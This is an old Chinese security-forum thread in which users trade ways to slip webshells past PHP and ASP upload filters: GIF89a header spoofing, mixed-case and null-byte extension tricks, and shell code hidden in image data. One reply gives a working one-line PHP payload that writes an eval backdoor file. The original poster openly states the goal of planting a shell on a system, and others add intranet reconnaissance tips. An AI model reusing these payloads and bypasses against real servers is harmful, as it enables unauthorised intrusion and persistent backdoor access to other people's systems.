[讨论]关于PHP上传中的GIF89欺骗
议题作者:朽木信息来源:邪恶八进制信息安全团队
[s:269]最近碰到一个PHP的系统,想传个PHPSHELL上去,默认设置不允许上传PHP脚本~某日看玫瑰大瞎的BLOG一篇关于PHP上传利用GIF89头来欺骗PHP上传系统的办法~可俺试了试,貌似不行..可能水平太烂~[s:268]不知有那位能救俺于水火[s:268]
目前俺看到两个版本
1在PHP文件头步加入GIF89a,但是程序似乎是检测后缀..(我把正常图片文件改掉后缀名,发现就上传不了,提示为非允许上传格式)
2在GIF文件尾空白数据段区插入PHP一句话SHELL,自己试了下,传是传上去了,可没发现能用... 可能没有上传漏洞也说不定呢?
[s:267] edjpgcom可在JPG文件中插入注释, 而不会损坏原来的文件, 适合用于Local File Inclusion Vulnerability
Download: [url]http://home.cfl.rr.com/maderik/edjpgcom/[/url]
不会使用的朋友请去milw0rm看动画
[url]http://milw0rm.org/video/watch.php?id=57[/url] 怎么知道我正在连接的处于内网中的机器的IP?是不是这个问题太菜了,都没人回答,我在2台数据库服务器上建了系统用户,但是不知道他的IP,要疯了。IPCONFIG看都是192开头的。 我手上也有个php的后台,unix主机。
是检查后缀的,shell改为jpg/gif/png后缀传是传上去了,没用
00截断,nc提交,提示不允许。
后来看了下,文件名是不允许自定义。估计没上传漏洞
动画是结合本地文件包含漏洞玩的
to 3楼
ping 机器名 多谢回复,我还是不明白啊。
怎么ping ?用什么格式?这种跨域的,没有域名的数据库主机怎么可能PING的到。 举例:
内网的机子在网上邻居里看到的话都有个机器名吧。
如 db1 ,db2,... and so on
那么cmd下 ping db1 就可以得到db1 的内网ip [s:268] XIAO2004,但问题是我在JPG里插入,但解析不是以PHP呀 貌似。。。没上传洞。。如果有上传洞。。我倒是有办法传。。。
像检测gif98这类的没问题。。但是。。怕是怕没上传洞吧。/ [quote]引用第9楼朽木于2007-03-14 20:31发表的 :
[s:268] XIAO2004,但问题是我在JPG里插入,但解析不是以PHP呀[/quote]
只是在文件头加上这一段!后缀php是没问题的!你可以试下.pHp,Php,PHp,PHP,phP之类的后缀!再不行..如果不是linux之类的!看看能不能传asp,aspx,cgi, HTTP/1.1 200 OK
Date: Thu, 15 Mar 2007 07:19:22 GMT
Server: Microsoft-IIS/6.0
Content-Length: 346
Content-Type: text/html
Cache-control: private
<!--此文件支持上传到文件夹名中有“.”文件中-->
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link href="../system/css.css" rel="stylesheet" type="text/css">
</head>
<body bgcolor="#f1f1f1">
上传成功<script>parent.myform.imageurl.value='200703/2007031515192230130.'</script></body></html>
上传ASP木马,提示上传成功
可截取的封包后面地址是200703/2007031515192230130.
试用200703/2007031515192230130.asp访问,不存在页面``` 上传图片都正常
本人是个菜鸟,望大虾们帮忙想想办法
上传页面源码如下:sub shangchuan(wjj,lx,dx,xz,myform,txt,lj,fs)
if request("chuan") = "yes" then
set c=new clsUp
c.AllowExt=lx&";" '限制文件格式
c.SetFileSize(dx*2048) '最大文件大小
randomize
ranNum=int(900*rnd)+100
wj=trim(year(date()))&right("0"&trim(month(date)),2)&right("0"&trim(day(date)),2)&right("0"&trim(hour(time())),2)&right("0"&trim(minute(time())),2)&right("0"&trim(second(time())),2)&ranNum
wz=wjj&"/"&wj
FSPath=server.MapPath(wz)
'response.write""&FSPath&""
'response.end
if c.iserr then
Response.Write c.errmessage
Response.end
else
tp=c.AutoSave("file",FSPath&"/")
dx=c.Filesize
if xz=1 then
response.write "上传成功 [<a href=# onclick=history.go(-1)>继续上传</a>]"
else
response.write "上传成功"
end if
end if
set c=nothing
Select case fs
case 2
response.write "<script>parent."&myform&"."&txt&".value='[img]"&lj&""&tp&"[/img]'</script>"
case 1
response.write "<script>parent."&myform&"."&txt&".value+='[img]"&lj&""&tp&"[/img]'</script>"
case else
response.write "<script>parent."&myform&"."&txt&".value='"&lj&""&tp&"'</script>"
End Select
else
Response.Write "<form name=form method=post action=?chuan=yes enctype=multipart/form-data><input name=file type=file class=wenbenkuang size=25>"&_
" <input name=Submit type=submit class=wenbenkuang value=上传 onSubmit=javascript:document.form.submit;>只允许"&dx&"k以下,"&replace(lx,";","或")&"格式</form>"
end if
end sub
%> [quote]引用第10楼寂寞宝贝于2007-03-15 10:10发表的 :
只是在文件头加上这一段!后缀php是没问题的!你可以试下.pHp,Php,PHp,PHP,phP之类的后缀!再不行..如果不是linux之类的!看看能不能传asp,aspx,cgi,[/quote]
宝贝,系统是FreeBSD~你说的那几个方法,我都试过.不行... 是他们自己内部的一个wiki,他们自己写的。 上次我在动易上传的时候也遇到了这个问题,建立了.asp格式的文件夹,但是上传图片的时候,发现只是更改asp木马的后缀.gif后,提示是非法的图片文件,后来把文件头家上了gif/**/89a后这样就可以成功的上传了,不知道这里是不是也可以这样实验一下 [quote]引用第15楼寂寞宝贝于2007-03-15 18:34发表的 :
可否给我地址?[/quote]
[s:268]是个内网WEB,不是公网 传php4看看
要不你嗅探ftp看看。
实在不行就看看能不能插网马。 [quote]引用第0楼朽木于2007-03-14 05:47发表的 [讨论]关于PHP上传中的GIF89欺骗 :
议题作者:朽木
信息来源:邪恶八进制信息安全团队
[s:269]2在GIF文件尾空白数据段区插入PHP一句话SHELL,自己试了下,传是传上去了,可没发现能用...[/quote]
传上去后缀是.php么.?
你可以试试在GIF文件的空白数据里插入这段..打开后会在当前目录写入个a.php
<?fputs(fopen("a.php","w"),"<?eval(\$_POST[a]);?>")?> [quote]1在PHP文件头步加入GIF89a,但是程序似乎是检测后缀..(我把正常图片文件改掉后缀名,发现就上传不了,提示为非允许上传格式)
2在GIF文件尾空白数据段区插入PHP一句话SHELL,自己试了下,传是传上去了,可没发现能用...[/quote]
首先要确定是否需要使用gif头欺骗.因为并不是所有的php程序都作了图片有效性判断,更多的只是判断了下后缀名.
如果是判断后缀名.请参考: [url]http://superhei.blogbus.com/logs/5043186.html[/url] 以及apache的多后缀名绕过漏洞
如果是判断gif头,请参考:[url]http://my.opera.com/pstgroup/blog/tips-bypass-getimagesize[/url] (可能需要代理,被g-f-wed了) *** 作者被禁止或删除 内容自动屏蔽 *** up 请教一下:添加了GIF文件头会改变GIF文件象素大小 一般都会变得很大很大(8000*8000) 很多上传系统都限制了图片文件的象素,这样一来 即使饶过了后缀名限制 仍然躲不过图象尺寸限制 即使是直接在真实GIF图片里添加script也是会将图象长宽大小变得非常大~ 不知有熟悉GIF文件结构的么?请教一下如何“加”这个文件头却可以把图象尺寸控制在小范围内 谢谢。
页:
[1]